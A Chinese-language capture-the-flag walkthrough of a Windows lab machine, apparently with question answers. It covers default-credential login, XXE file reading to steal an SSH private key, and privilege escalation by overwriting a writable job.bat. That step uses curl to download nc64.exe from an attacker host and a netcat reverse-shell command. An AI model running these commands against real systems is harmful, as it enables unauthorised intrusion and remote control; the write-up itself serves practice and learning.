拿到目标机器
简单探测一下
nmap -sC -A 10.129.151.247
答:2.4.41
一个web服务,22端口有ssh,服务器是Windows系统,后续可能尝试登录一下,先访问网站看看
常规账号口令简单尝试一下,使用admin:password登陆成功。
答:admin:password
Order点单模块有一个用户输入表单
答:order
抓包看一下传输的参数情况
答:1.0
传输的XML文件,这里可能存在XXE攻击,参考文献如下
XXE - XEE - XML External Entity | HackTricks
答:XML External Entity
通过Nmap了解到是windows系统,尝试访问c:/windows/win.ini配置文件验证一下能否利用
成功返回配置信息,可以使用。
结合前面探测到的ssh服务,尝试获取某个用户的ssh登录密钥文件
在web应用的源码上发现了一个用户名daniel
答:daniel
ssh文件默认路径为C:\Users\<用户名>\.ssh\<ssh文件>
.ssh目录包括, id_rsa
(私钥)、id_rsa.pub
(公钥)、config
(配置文件)等
尝试获取一下私钥
将私钥文件保存到本地,命名为id_rsa
用daniel身份ssh远程登录到目标机器
ssh -i id_rsa daniel@10.129.151.247
成功登录
查看当前用户的特权,没什么特权
whoami /priv
切换到Log-Management路径下查看文件目录
答:job.bat
有一个job.bat脚本,查看一下内容
这个脚本主要用于清除事件日志,需要管理员权限才可以运行脚本
答:wevtutil.exe
查看文件的权限信息
icacls job.bat
BUILTIN\Users用户组包括当前用户daniel,对该文件具有完全控制权(F)
所以决定修改脚本重定向到netcat,执行反弹shell
目标机器不出网,所以要上传一个nc64.exe,可以开一个服务供目标机器下载
nc64.exe源于https://github.com/rahuldottech/netcat-for-windows/releases
攻击机在8000端口开启http服务
python -m http.server 8000
目标机访问后下载nc64.exe
curl http://10.10.16.4:8000/nc64.exe --output nc64.exe
准备就绪后开始反弹shell
攻击机监听1234端口
nc -lvp 1234
目标机器上修改job.bat,执行C:\Log-Management\nc64.exe文件,定向连接到攻击机
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.4 1234 > C:\Log-Management\job.bat
成功获取管理员权限
成功拿下!